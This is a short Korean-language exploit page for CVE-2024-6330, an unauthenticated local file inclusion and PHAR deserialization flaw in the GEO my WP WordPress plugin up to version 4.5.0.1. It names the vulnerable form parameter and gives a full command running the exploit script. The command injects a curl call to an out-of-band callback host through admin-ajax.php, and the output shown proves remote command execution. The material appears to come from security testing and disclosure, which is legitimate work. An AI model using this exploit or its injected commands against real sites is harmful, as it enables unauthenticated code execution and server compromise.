
GEO my WordPress < 4.5.0.2 - 인증되지 않은 LFI를 통한 RCE/PHAR 역직렬화
GEO my WordPress <= 4.5.0.1 - 인증되지 않은 로컬 파일 포함
WordPress용 GEO my WP 플러그인은 최대 4.5.0.1까지의 모든 버전에서 'form[info_window_template][content_path]' 매개변수를 통해 로컬 파일 포함(Local File Inclusion) 취약점에 노출됩니다. 이로 인해 인증되지 않은 공격자가 서버에 있는 임의의 파일을 포함 및 실행하여 해당 파일의 PHP 코드를 실행할 수 있습니다. 이를 통해 접근 제어를 우회하거나, 민감한 데이터를 획득하거나, 이미지 및 기타 "안전한" 파일 형식을 업로드하여 포함시킬 수 있는 경우 코드 실행을 달성할 수 있습니다.
python3 CVE-2024-6330.py --url https://wp-dev.ddev.site --proxy http://127.0.0.1:8080 --execute="curl http://2qtstva3iqdxwqryck6wh3wsqjwak08p.oast.site"
[*] Starting security test...
[*] Initial visit to https://wp-dev.ddev.site: 200
[+] Testing object_id: 1
[+] URL: https://wp-dev.ddev.site/wp-admin/admin-ajax.php?action=gmw_info_window_init&0=echo%20Command%20Output:%20$(curl http://2qtstva3iqdxwqryck6wh3wsqjwak08p.oast.site)
[+] Status Code: 200
[+] Response Content:
Command Output: <html><body>ivv900fnzbln0dem43z7zmzjjgigz</body></html>